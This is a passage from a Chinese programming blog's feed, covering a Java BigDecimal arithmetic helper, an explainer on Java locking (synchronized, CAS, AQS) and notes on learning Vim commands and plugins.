class="n">v1</span><span class="p">,</span> <span class="kt">double</span> <span class="n">v2</span><span class="p">)</span> <span class="p">{</span><span class="c1">// v1 + v2</span> + <span class="n">BigDecimal</span> <span class="n">b1</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BigDecimal</span><span class="p">(</span><span class="n">Double</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="n">v1</span><span class="p">));</span> + <span class="n">BigDecimal</span> <span class="n">b2</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BigDecimal</span><span class="p">(</span><span class="n">Double</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="n">v2</span><span class="p">));</span> + <span class="k">return</span> <span class="n">b1</span><span class="p">.</span><span class="k">add</span><span class="p">(</span><span class="n">b2</span><span class="p">);</span> + <span class="p">}</span> + + <span class="k">public</span> <span class="k">static</span> <span class="n">BigDecimal</span> <span class="nf">sub</span><span class="p">(</span><span class="kt">double</span> <span class="n">v1</span><span class="p">,</span> <span class="kt">double</span> <span class="n">v2</span><span class="p">)</span> <span class="p">{</span> + <span class="n">BigDecimal</span> <span class="n">b1</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BigDecimal</span><span class="p">(</span><span class="n">Double</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="n">v1</span><span class="p">));</span> + <span class="n">BigDecimal</span> <span class="n">b2</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BigDecimal</span><span class="p">(</span><span class="n">Double</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="n">v2</span><span class="p">));</span> + <span class="k">return</span> <span class="n">b1</span><span class="p">.</span><span class="nf">subtract</span><span class="p">(</span><span class="n">b2</span><span class="p">);</span> + <span class="p">}</span> + + <span class="k">public</span> <span class="k">static</span> <span class="n">BigDecimal</span> <span class="nf">mul</span><span class="p">(</span><span class="kt">double</span> <span class="n">v1</span><span class="p">,</span> <span class="kt">double</span> <span class="n">v2</span><span class="p">)</span> <span class="p">{</span> + <span class="n">BigDecimal</span> <span class="n">b1</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BigDecimal</span><span class="p">(</span><span class="n">Double</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="n">v1</span><span class="p">));</span> + <span class="n">BigDecimal</span> <span class="n">b2</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BigDecimal</span><span class="p">(</span><span class="n">Double</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="n">v2</span><span class="p">));</span> + <span class="k">return</span> <span class="n">b1</span><span class="p">.</span><span class="nf">multiply</span><span class="p">(</span><span class="n">b2</span><span class="p">);</span> + <span class="p">}</span> + + <span class="k">public</span> <span class="k">static</span> <span class="n">BigDecimal</span> <span class="nf">div</span><span class="p">(</span><span class="kt">double</span> <span class="n">v1</span><span class="p">,</span> <span class="kt">double</span> <span class="n">v2</span><span class="p">)</span> <span class="p">{</span> + <span class="n">BigDecimal</span> <span class="n">b1</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BigDecimal</span><span class="p">(</span><span class="n">Double</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="n">v1</span><span class="p">));</span> + <span class="n">BigDecimal</span> <span class="n">b2</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BigDecimal</span><span class="p">(</span><span class="n">Double</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="n">v2</span><span class="p">));</span> + <span class="c1">// 2 = 保留小数点后两位 ROUND_HALF_UP = 四舍五入</span> + <span class="k">return</span> <span class="n">b1</span><span class="p">.</span><span class="nf">divide</span><span class="p">(</span><span class="n">b2</span><span class="p">,</span> <span class="m">2</span><span class="p">,</span> <span class="n">BigDecimal</span><span class="p">.</span><span class="n">ROUND_HALF_UP</span><span class="p">);</span><span class="c1">// 应对除不尽的情况</span> + <span class="p">}</span> +<span class="p">}</span> +</code></pre></div></div> + +<p>该工具类提供了double类型的基本的加减乘除运算。直接调用即可。</p> + +<p>作者:HikariCP<br /> +链接:https://www.jianshu.com/p/c81edc59546c</p> + + + Sun, 22 Mar 2020 00:00:00 +0800 + http://www.jiangxinlingdu.com/practice/2020/03/22/bigdecimal.html + http://www.jiangxinlingdu.com/practice/2020/03/22/bigdecimal.html + + practice + + + practice + + + + + Java中的锁原理、锁优化、CAS、AQS + <h2 id="1为什么要用锁">1、为什么要用锁?</h2> + +<p>锁-是为了解决并发操作引起的脏读、数据不一致的问题。</p> + +<h2 id="2锁实现的基本原理">2、锁实现的基本原理</h2> + +<h3 id="21volatile">2.1、volatile</h3> + +<blockquote> + <p>Java编程语言允许线程访问共享变量, 为了确保共享变量能被准确和一致地更新,线程应该确保通过排他锁单独获得这个变量。Java语言提供了volatile,在某些情况下比锁要更加方便。</p> + + <p>volatile在多处理器开发中保证了共享变量的“ 可见性”。可见性的意思是当一个线程修改一个共享变量时,另外一个线程能读到这个修改的值。</p> +</blockquote> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-9f7389128a85f7c1.png" alt="" /></p> + +<p>image.png</p> + +<p>结论:如果volatile变量修饰符使用恰当的话,它比synchronized的使用和执行成本更低,因为它不会引起线程上下文的切换和调度。</p> + +<h3 id="22synchronized">2.2、synchronized</h3> + +<blockquote> + <p>synchronized通过锁机制实现同步。</p> +</blockquote> + +<p>先来看下利用synchronized实现同步的基础:Java中的每一个对象都可以作为锁。</p> + +<p>具体表现为以下3种形式。</p> + +<ul> + <li>对于普通同步方法,锁是当前实例对象。</li> + <li>对于静态同步方法,锁是当前类的Class对象。</li> + <li>对于同步方法块,锁是Synchonized括号里配置的对象。</li> +</ul> + +<p>当一个线程试图访问同步代码块时,它首先必须得到锁,退出或抛出异常时必须释放锁。</p> + +<h4 id="221-synchronized实现原理">2.2.1 synchronized实现原理</h4> + +<blockquote> + <p>synchronized是基于Monitor来实现同步的。</p> +</blockquote> + +<p>Monitor从两个方面来支持线程之间的同步:</p> + +<ul> + <li>互斥执行</li> + <li>协作</li> +</ul> + +<p>1、Java 使用对象锁 ( 使用 synchronized 获得对象锁 ) 保证工作在共享的数据集上的线程互斥执行。</p> + +<p>2、使用 notify/notifyAll/wait 方法来协同不同线程之间的工作。</p> + +<p>3、Class和Object都关联了一个Monitor。</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-de9a8db9928ca68a.png" alt="" /></p> + +<p>Monitor 的工作机理</p> + +<ul> + <li>线程进入同步方法中。</li> + <li>为了继续执行临界区代码,线程必须获取 Monitor 锁。如果获取锁成功,将成为该监视者对象的拥有者。任一时刻内,监视者对象只属于一个活动线程(The Owner)</li> + <li>拥有监视者对象的线程可以调用 wait() 进入等待集合(Wait Set),同时释放监视锁,进入等待状态。</li> + <li>其他线程调用 notify() / notifyAll() 接口唤醒等待集合中的线程,这些等待的线程需要<strong>重新获取监视锁后</strong>才能执行 wait() 之后的代码。</li> + <li>同步方法执行完毕了,线程退出临界区,并释放监视锁。</li> +</ul> + +<p>参考文档:<a href="https://link.jianshu.com?t=https%3A%2F%2Fwww.ibm.com%2Fdeveloperworks%2Fcn%2Fjava%2Fj-lo-synchronized%2F">https://www.ibm.com/developerworks/cn/java/j-lo-synchronized</a></p> + +<h4 id="222-synchronized具体实现">2.2.2 synchronized具体实现</h4> + +<p>1、同步代码块采用monitorenter、monitorexit指令显式的实现。</p> + +<p>2、同步方法则使用ACC_SYNCHRONIZED标记符隐式的实现。</p> + +<p>通过实例来看看具体实现:</p> + +<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">class</span> <span class="nc">SynchronizedTest</span> <span class="p">{</span> + + <span class="k">public</span> <span class="n">synchronized</span> <span class="k">void</span> <span class="nf">method1</span><span class="p">(){</span> + <span class="n">System</span><span class="p">.</span><span class="k">out</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">"Hello World!"</span><span class="p">);</span> + <span class="p">}</span> + + <span class="k">public</span> <span class="k">void</span> <span class="nf">method2</span><span class="p">(){</span> + <span class="nf">synchronized</span> <span class="p">(</span><span class="k">this</span><span class="p">){</span> + <span class="n">System</span><span class="p">.</span><span class="k">out</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">"Hello World!"</span><span class="p">);</span> + <span class="p">}</span> + <span class="p">}</span> +<span class="p">}</span> +</code></pre></div></div> + +<p>javap编译后的字节码如下:</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-0d29b096e9c77f09.png" alt="" /></p> + +<p>image.png</p> + +<p><strong>monitorenter</strong></p> + +<p>每一个对象都有一个monitor,一个monitor只能被一个线程拥有。当一个线程执行到monitorenter指令时会尝试获取相应对象的monitor,获取规则如下:</p> + +<ul> + <li>如果monitor的进入数为0,则该线程可以进入monitor,并将monitor进入数设置为1,该线程即为monitor的拥有者。</li> + <li>如果当前线程已经拥有该monitor,只是重新进入,则进入monitor的进入数加1,所以synchronized关键字实现的锁是可重入的锁。</li> + <li>如果monitor已被其他线程拥有,则当前线程进入阻塞状态,直到monitor的进入数为0,再重新尝试获取monitor。</li> +</ul> + +<p><strong>monitorexit</strong></p> + +<p>只有拥有相应对象的monitor的线程才能执行monitorexit指令。每执行一次该指令monitor进入数减1,当进入数为0时当前线程释放monitor,此时其他阻塞的线程将可以尝试获取该monitor。</p> + +<h4 id="223-锁存放的位置">2.2.3 锁存放的位置</h4> + +<p>锁标记存放在Java对象头的Mark Word中。</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-f794a9da707c8884.png" alt="" /></p> + +<p>Java对象头长度</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-423237ba213114c9.png" alt="" /></p> + +<p>32位JVM Mark Word 结构</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-d88cbe17d78b4ef4.png" alt="" /></p> + +<p>32位JVM Mark Word 状态变化</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-dd289041866d7cb6.png" alt="" /></p> + +<p>64位JVM Mark Word 结构</p> + +<h4 id="223-synchronized的锁优化">2.2.3 synchronized的锁优化</h4> + +<p>JavaSE1.6为了减少获得锁和释放锁带来的性能消耗,引入了“偏向锁”和“轻量级锁”。</p> + +<p>在JavaSE1.6中,锁一共有4种状态,级别从低到高依次是:无锁状态、偏向锁状态、轻量级锁状态和重量级锁状态,这几个状态会随着竞争情况逐渐升级。</p> + +<p>锁可以升级但不能降级,意味着偏向锁升级成轻量级锁后不能降级成偏向锁。这种锁升级却不能降级的策略,目的是为了提高获得锁和释放锁的效率。</p> + +<h5 id="偏向锁">偏向锁:</h5> + +<blockquote> + <p>无锁竞争的情况下为了减少锁竞争的资源开销,引入偏向锁。</p> +</blockquote> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-c1f25c4a5f0001af.png" alt="" /></p> + +<p>image.png</p> + +<h5 id="轻量级锁">轻量级锁:</h5> + +<blockquote> + <p>轻量级锁所适应的场景是线程交替执行同步块的情况。</p> +</blockquote> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-4f4487faff288712.png" alt="" /></p> + +<p>image.png</p> + +<p><strong>锁粗化(Lock Coarsening):</strong>也就是减少不必要的紧连在一起的unlock,lock操作,将多个连续的锁扩展成一个范围更大的锁。</p> + +<p><strong>锁消除(Lock Elimination):</strong>锁削除是指虚拟机即时编译器在运行时,对一些代码上要求同步,但是被检测到不可能存在共享数据竞争的锁进行削除。</p> + +<p><strong>适应性自旋(Adaptive Spinning):</strong>自适应意味着自旋的时间不再固定了,而是由前一次在同一个锁上的自旋时间及锁的拥有者的状态来决定。如果在同一个锁对象上,自旋等待刚刚成功获得过锁,并且持有锁的线程正在运行中,那么虚拟机就会认为这次自旋也很有可能再次成功,进而它将允许自旋等待持续相对更长的时间,比如100个循环。另一方面,如果对于某个锁,自旋很少成功获得过,那在以后要获取这个锁时将可能省略掉自旋过程,以避免浪费处理器资源。</p> + +<h4 id="224-锁的优缺点对比">2.2.4 锁的优缺点对比</h4> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-dc1cb474286e917c.png" alt="" /></p> + +<p>image.png</p> + +<h3 id="23cas">2.3、CAS</h3> + +<blockquote> + <p>CAS,在Java并发应用中通常指CompareAndSwap或CompareAndSet,即比较并交换。</p> +</blockquote> + +<p>1、CAS是一个原子操作,它比较一个内存位置的值并且只有相等时修改这个内存位置的值为新的值,保证了新的值总是基于最新的信息计算的,如果有其他线程在这期间修改了这个值则CAS失败。CAS返回是否成功或者内存位置原来的值用于判断是否CAS成功。</p> + +<p>2、JVM中的CAS操作是利用了处理器提供的CMPXCHG指令实现的。</p> + +<p>优点:</p> + +<ul> + <li>竞争不大的时候系统开销小。</li> +</ul> + +<p>缺点:</p> + +<ul> + <li>循环时间长开销大。</li> + <li>ABA问题。</li> + <li>只能保证一个共享变量的原子操作。</li> +</ul> + +<h2 id="3java中的锁实现">3、Java中的锁实现</h2> + +<h3 id="31队列同步器aqs">3.1、队列同步器(AQS)</h3> + +<blockquote> + <p>队列同步器AbstractQueuedSynchronizer(以下简称同步器),是用来构建锁或者其他同步组件的基础框架。</p> +</blockquote> + +<h4 id="311它使用了一个int成员变量表示同步状态">3.1.1、它使用了一个int成员变量表示同步状态。</h4> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-58ec8eff9511a3e4.png" alt="" /></p> + +<p>image.png</p> + +<h4 id="312通过内置的fifo双向队列来完成获取锁线程的排队工作">3.1.2、通过内置的FIFO双向队列来完成获取锁线程的排队工作。</h4> + +<ul> + <li> + <p>同步器包含两个节点类型的应用,一个指向头节点,一个指向尾节点,未获取到锁的线程会创建节点线程安全(compareAndSetTail)的加入队列尾部。同步队列遵循FIFO,首节点是获取同步状态成功的节点。</p> + + <p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-30e2658e38e1966c.png" alt="" /></p> + + <p>image.png</p> + </li> + <li> + <p>未获取到锁的线程将创建一个节点,设置到尾节点。如下图所示:</p> + </li> +</ul> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-addd5edd9723c8db.png" alt="" /></p> + +<p>image.png</p> + +<ul> + <li> + <p>首节点的线程在释放锁时,将会唤醒后继节点。而后继节点将会在获取锁成功时将自己设置为首节点。如下图所示:</p> + + <p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-d118af99f2bacad5.png" alt="" /></p> + + <p>image.png</p> + </li> +</ul> + +<h4 id="313独占式共享式锁获取">3.1.3、独占式/共享式锁获取</h4> + +<blockquote> + <p>独占式:有且只有一个线程能获取到锁,如:ReentrantLock。&lt;/pre&gt;</p> + + <p>共享式:可以多个线程同时获取到锁,如:CountDownLatch</p> +</blockquote> + +<h5 id="独占式">独占式</h5> + +<ul> + <li> + <p>每个节点自旋观察自己的前一节点是不是Header节点,如果是,就去尝试获取锁。</p> + + <p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-943a473d1d87cc7d.png" alt="" /></p> + + <p>image.png</p> + </li> + <li> + <p>独占式锁获取流程:</p> + </li> +</ul> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-50bc00c23df33d60.png" alt="" /></p> + +<p>image.png</p> + +<h5 id="共享式">共享式:</h5> + +<ul> + <li> + <p>共享式与独占式的区别:</p> + + <p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-d0031b43b65487d7.png" alt="" /></p> + + <p>image.png</p> + </li> + <li> + <p>共享锁获取流程:</p> + </li> +</ul> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-8f66fdebba19eff8.png" alt="" /></p> + +<p>image.png</p> + +<h2 id="4锁的使用用例">4、锁的使用用例</h2> + +<h3 id="41concurrenthashmap的实现原理及使用">4.1、ConcurrentHashMap的实现原理及使用</h3> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-460898019c2b5b0a.png" alt="" /></p> + +<p>ConcurrentHashMap类图</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2020/5401760-f2f0bb8727e6d4b2.png" alt="" /></p> + +<p>ConcurrentHashMap数据结构</p> + +<p>结论:ConcurrentHashMap使用的锁分段技术。首先将数据分成一段一段地存储,然后给每一段数据配一把锁,当一个线程占用锁访问其中一个段数据的时候,其他段的数据也能被其他线程访问。</p> + +<p>本文作者:景小财<br /> +作者简介:美团外卖活动业务负责人 +链接:https://www.jianshu.com/p/e674ee68fd3f</p> + + + Thu, 19 Mar 2020 00:00:00 +0800 + http://www.jiangxinlingdu.com/concurrent/2020/03/19/concurrent.html + http://www.jiangxinlingdu.com/concurrent/2020/03/19/concurrent.html + + concurrent + + + concurrent + + + + + 学习高效编程之 Vim 方法 + <h2 id="为什么学习-vim">为什么学习 Vim</h2> + +<p>通过模式,Vim 赋予了同一个按键多种功能,大大提高了按键的功效,可以让我们释放鼠标和主键盘到方向键的切换,从而让我们双手集中在键盘中央区域,提高效率。</p> + +<p><strong>学习 Vim 就是为了显著提升编码效率,对自己要求严格点,坚持做正确的事情,而不是容易的事情!!!</strong></p> + +<h2 id="我学习-vim-的思路">我学习 Vim 的思路</h2> + +<ul> + <li>系统的看书学习 Vim</li> + <li>多处不断练习 Vim(包括 idea、浏览器、iTerm2等)</li> +</ul> + +<h2 id="读书系统学习-vim">读书系统学习 Vim</h2> + +<p>我拍了几张图,内容如下:</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/WechatIMG4.jpeg" alt="WechatIMG4" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/WechatIMG1.jpeg" alt="WechatIMG1" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/WechatIMG2.jpeg" alt="WechatIMG2" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/WechatIMG3.jpeg" alt="WechatIMG3" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/WechatIMG5.jpeg" alt="WechatIMG5" /></p> + +<h2 id="多处不断练习-vim">多处不断练习 Vim</h2> + +<ul> + <li>Idea 集成 Vim 插件使用</li> + <li>谷歌浏览器集成 Vim 插件使用</li> + <li>放弃一些文本编辑器 使用 iTerm2 编辑普通文本</li> +</ul> + +<h2 id="idea-集成-vim-插件使用">Idea 集成 Vim 插件使用</h2> + +<h5 id="idea-里面-集成-vim-插件">Idea 里面 集成 Vim 插件</h5> + +<p>对 java 来说,IntelliJ IDEA 可能就是王者了,怎么在 idea 里面集成 Vim 插件呢?</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/image-20191017084936948.png" alt="image-20191017084936948" /></p> + +<h5 id="idea-里面开启-vim-模式">Idea 里面开启 Vim 模式</h5> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/image-20191017085029804.png" alt="image-20191017085029804" /></p> + +<blockquote> + <p>**备注: ** 每个人的快捷键可能有所不同!</p> +</blockquote> + +<p>####</p> + +<h5 id="idea-集成-vim-插件演示">Idea 集成 Vim 插件演示</h5> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/2019-10-17 08.57.19.gif" alt="2019-10-17 08.57.19" /></p> + +<p><strong>在 Idea 里面使用 Vim 可以让我们释放鼠标和主键盘到方向键的切换,从而让我们双手集中在键盘中央区域,提高效率。</strong></p> + +<h2 id="谷歌浏览器集成-vim-插件使用">谷歌浏览器集成 Vim 插件使用</h2> + +<h5 id="谷歌浏览器集成-vim-插件">谷歌浏览器集成 Vim 插件</h5> + +<p>Vimium 这个名字其实是 Vim 和 Chromium 的合体。可能很多童鞋已经猜到她是干嘛的了,她继承了Vim的常用操作,完全脱离鼠标来控制浏览器,是一款黑客级别的Chrome插件,简直是神器。</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/image-20191017090328976.png" alt="image-20191017090328976" /></p> + +<p>#####谷歌浏览器集成 Vim 插件演示</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/2019-10-17 08.58.16.gif" alt="2019-10-17 08.58.16" /></p> + +<p><strong>在谷歌浏览器里面使用 Vim 插件可以让我们释放鼠标和主键盘到方向键的切换,从而让我们双手集中在键盘中央区域,提高效率。</strong></p> + +<h2 id="放弃一些文本编辑器-使用-iterm2-编辑普通文本">放弃一些文本编辑器 使用 iTerm2 编辑普通文本</h2> + +<p>为了使用 Vim,我把很多文本编辑器也强制自己不适用了,比如 sublime text ,而强制自己使用 ITerm2。</p> + +<h5 id="使用-iterm2-演示">使用 iTerm2 演示</h5> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/2019-10-17 09.12.27.gif" alt="2019-10-17 09.12.27" /></p> + +<h2 id="总结">总结</h2> + +<p><strong>学习 Vim 就是为了显著提升编码效率,对自己要求严格点,坚持做正确的事情,而不是容易的事情!!!</strong></p> + +<p>学习 Vim 没有什么技巧,需要不断练习,形成肌肉记忆即可,一起加油,一起练习!!!</p> + +<blockquote> + <p>后面准备深入学习下 dubbo,到时候用 Vim 和 idea 结合阅读源码估计会别有一番滋味!</p> +</blockquote> + +<p>也期待大家留言区积极留言,交流关于高效编程的一些技能或者软件,多谢!!!!</p> + + + Thu, 17 Oct 2019 00:00:00 +0800 + http://www.jiangxinlingdu.com/linux/2019/10/17/study-vim.html + http://www.jiangxinlingdu.com/linux/2019/10/17/study-vim.html + + linux + + + linux + + + + + vim编程 -- 学习vim笔记 + <p>学习vim最主要的目的还是提高代码效率,学习编程中最重要的还是编程的思考,所以手下功夫一定不能耽误思维的流畅。 +本人主要从事游戏开发,以VSCode做为主,虽然之前已经对编辑器自身的快捷键很熟悉了,但是在编辑代码上的效率还是不满意,索性就开始学习“神之编辑器”。</p> + +<h2 id="从两个方向去学习vim命令">从两个方向去学习vim命令</h2> + +<h3 id="1-从vim命令本身的结构去学习">1. 从vim命令本身的结构去学习</h3> + +<h3 id="2-从编程中常用的操作流程去实践">2. 从编程中常用的操作流程去实践</h3> + +<hr /> + +<h2 id="vim基本结构">vim基本结构</h2> + +<blockquote> + <p>vim基本分为4个基本模式,普通模式,插入模式,可视模式,命令模式。</p> +</blockquote> + +<blockquote> + <p><strong>普通模式</strong>通过按键操作,进行移动、复制、粘贴、删除、替换、屏幕滚动等操作。</p> +</blockquote> + +<blockquote> + <p><strong>插入模式</strong>如同最普通的文本编辑器一样的,写作模式。</p> +</blockquote> + +<blockquote> + <p><strong>可视模式</strong>用来选择文本的模式,如同鼠标选择文本一样方便。</p> +</blockquote> + +<blockquote> + <p><strong>命令模式</strong>输入vim提供的指令来完成相关操作。主要为设置环境、文件操作等。</p> +</blockquote> + +<blockquote> + <p>4个模式之间相关跳转完成编辑。</p> +</blockquote> + +<h2 id="模式下跳转">模式下跳转</h2> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; 普通模式下按`&lt;ESC&gt;`会取消当前命令,其他模式下按`&lt;ESC&gt;`会跳转到普通模式。 +&gt; 普通模式按`:`进入命令模式。 +&gt; 普通模式按`v`进入**普通**可视模式。 +&gt; 普通模式按`V`进入**行**可视模式。 +&gt; 普通模式按`&lt;CTRL&gt; + v`进入**块**可视模式。 +</code></pre></div></div> +<h3 id="1-普通模式下">1. 普通模式下</h3> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>`i/I` 前/最前 **插入**; +`a/A` 后/最后 **插入**; +`o/O` 下/上行 **插入**; +`c + 命令` 删除**插入**; + +`s/S` 删除插入(要与sround模式和sneak模式区分); +</code></pre></div></div> +<p><strong>替换模式</strong></p> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>`R/gR` 进入替换模式(替换后面的字符),推荐gR。 +`r/gr` 处理一个字符的替换,返回普通模式。 +</code></pre></div></div> +<h3 id="2-可视模式下">2. 可视模式下</h3> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>`I` 进入 **插入**; +`o` 切换移动点 +</code></pre></div></div> +<h3 id="3-插入模式下">3. 插入模式下</h3> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;C w&gt; 删除前一个单词 +&lt;C u&gt; 删除至行首 +&lt;C r&gt;{register}将寄存器的内容粘贴到光标所在的位置,如:&lt;C - r&gt;=6*3&lt;Enter&gt;插入18。 +&lt;C v&gt;{123} 以十进制字符插入字符。 +&lt;C v&gt;u{123}以十六进制字符编码插入字符。 +&lt;C k&gt;{char1}{char2} 插入以二合字母{char1}{char2}表示的字符。 + +这个模式允许执行一次普通模式命令,执行完后回到插入模式。 +&lt;C o&gt;进入“插入-普通模式”。 +&lt;C o&gt;zz 把当前行置于窗口正中,这个经常用。 +&lt;C [&gt;退出到普通模式==&lt;Esc&gt; + +`f+字符` find 向下找一个字符,`t+字符`找之前 + +`#`,`*`(shift+3/8)查找上/下一个光标所在相同的单词 +% 匹配括号跳转 + +D 删除当前到末尾 +`[{`、`]}`跳转函数体最上最下括号 +在块模式下按I(大写i),可进入多光标情况 +ctrl+o( older )/i返回到前/后一个光标位置 +gd 查询所属单词定义 + +`vib/vi(`(选中`()`内的内容) +`viB/vi{`(选中`{}`内的内容) +`vi"`(选中`"`内的内容) +`vi'`(选中`'`内的内容) +`vi&lt;`(选中`&lt;&gt;`内的内容) + +vis 选中一个句子 +vib 选中一个block +viw 选中一个单词 +vip 选中一个段落 + +`~` 大小写互相转换 +`U/u` 可视模式下所选改为大/小写 +`gU/u` + iw/aw/w/e.... +`gUU/guu` 当前行大/小写 +</code></pre></div></div> +<p>视觉模式下 +ii选中函数体</p> + +<p>删除 +d/word 删除到word前 Exp: d/;</p> + +<table> + <thead> + <tr> + <th>重复类型</th> + <th>重复操作符</th> + <th>回退操作符</th> + </tr> + </thead> + <tbody> + <tr> + <td>文本改变重复</td> + <td>.</td> + <td>u</td> + </tr> + <tr> + <td>行内查找重复</td> + <td>;</td> + <td>,</td> + </tr> + <tr> + <td>全文查找重复</td> + <td>n</td> + <td>N</td> + </tr> + </tbody> +</table> + +<p>复制完单词 +<code class="highlighter-rouge">/&lt;Ctrl+R&gt;0</code> 查找寄存器上的单词</p> + +<p><strong>查看寄存器中的内容:</strong><code class="highlighter-rouge">:reg</code></p> + +<p>exp:<code class="highlighter-rouge">10a!&lt;esc&gt;</code> +数字+a/i+字符串+esc 连续输入10个相同人字符串</p> + +<h2 id="命令模式下命令流">命令模式下命令流</h2> + +<p>hello world</p> + +<table> + <thead> + <tr> + <th>Old text</th> + <th>Command</th> + <th>New text</th> + </tr> + </thead> + <tbody> + <tr> + <td><code class="highlighter-rouge">"Hell3 *world!"</code></td> + <td><code class="highlighter-rouge">ds"</code></td> + <td><code class="highlighter-rouge">Hello world!</code></td> + </tr> + <tr> + <td><code class="highlighter-rouge">[123+4*56]/2</code></td> + <td><code class="highlighter-rouge">cs])</code></td> + <td><code class="highlighter-rouge">(123+456)/2</code></td> + </tr> + <tr> + <td><code class="highlighter-rouge">"Look ma, I'm *HTML!"</code></td> + <td><code class="highlighter-rouge">cs"&lt;q&gt;</code></td> + <td><code class="highlighter-rouge">&lt;q&gt;Look ma, I'm HTML!&lt;/q&gt;</code></td> + </tr> + <tr> + <td><code class="highlighter-rouge">if *x&gt;3 {</code></td> + <td><code class="highlighter-rouge">ysW(</code></td> + <td><code class="highlighter-rouge">if ( x&gt;3 ) {</code></td> + </tr> + <tr> + <td><code class="highlighter-rouge">my $str = *whee!;</code></td> + <td><code class="highlighter-rouge">vlllls'</code></td> + <td><code class="highlighter-rouge">my $str = 'whee!';</code></td> + </tr> + <tr> + <td><code class="highlighter-rouge">&lt;div&gt;Yo!*&lt;/div&gt;</code></td> + <td><code class="highlighter-rouge">dst</code></td> + <td><code class="highlighter-rouge">Yo!</code></td> + </tr> + <tr> + <td><code class="highlighter-rouge">&lt;div&gt;Yo!*&lt;/div&gt;</code></td> + <td><code class="highlighter-rouge">cst&lt;p&gt;</code></td> + <td><code class="highlighter-rouge">&lt;p&gt;Yo!&lt;/p&gt;</code></td> + </tr> + </tbody> +</table> + +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ci: 例如,ci(,或者ci),将会修改()之间的文本; +di: 剪切配对符号之间文本; +yi: 复制; +ca: 同ci,但修改内容包括配对符号本身; +da: 同di,但剪切内容包括配对符号本身; +ya: 同yi,但复制内容包括配对符号本身。 +PS. dib等同于di(。diB等同于di{。 + +`ci[ ci( ci&lt; ci{` 删除一对 [], (), &lt;&gt;, 或{} 中的所有字符并进入插入模式 +ci” ci’ ci`删除一对引号字符 ” ‘ 或` 中所有字符并进入插入模式 +cit 删除一对 HTML/XML 的标签内部的所有字符并进入插入模式 + +1. 删除 复制 粘贴 + - `x` delete + - `X` 退格 + - dd 删除当前行 + - d+0/$ 删到 行首/尾 + - yy 复制行 + - p 下行粘贴 P 上行粘贴 + - J 本行下行合并 +2. 移动 + - hjkl 移动一下 + - xxx+hjkl 重复移动xxx次 + - 0 行首 + - $ 行尾 + - gg 页首 + - G 页尾 + - xxx+G 定位到行号 + - xxx `&lt;Enter&gt;` 向下移动xxx行 +3. 搜索替换 + /world 找world + ?world 向上找world + n N 向下向上找 + :n1/n2s/word1/word2/g 替换 + :1,$s/... 全页替换 + :%s/... 同上 +</code></pre></div></div> +<h2 id="底线命令模式">底线命令模式</h2> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. `:q` quit退出 +2. `:w` 保存 +3. `:open xx.xx` 打开xx.xx +</code></pre></div></div> +<h2 id="标记与到达标记">标记与到达标记</h2> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ma 设置此处为标记a +`'a` 到达标记a行行首 +``a` 到达当时标记位置的地方 +</code></pre></div></div> +<h2 id="切换窗口">切换窗口</h2> +<div 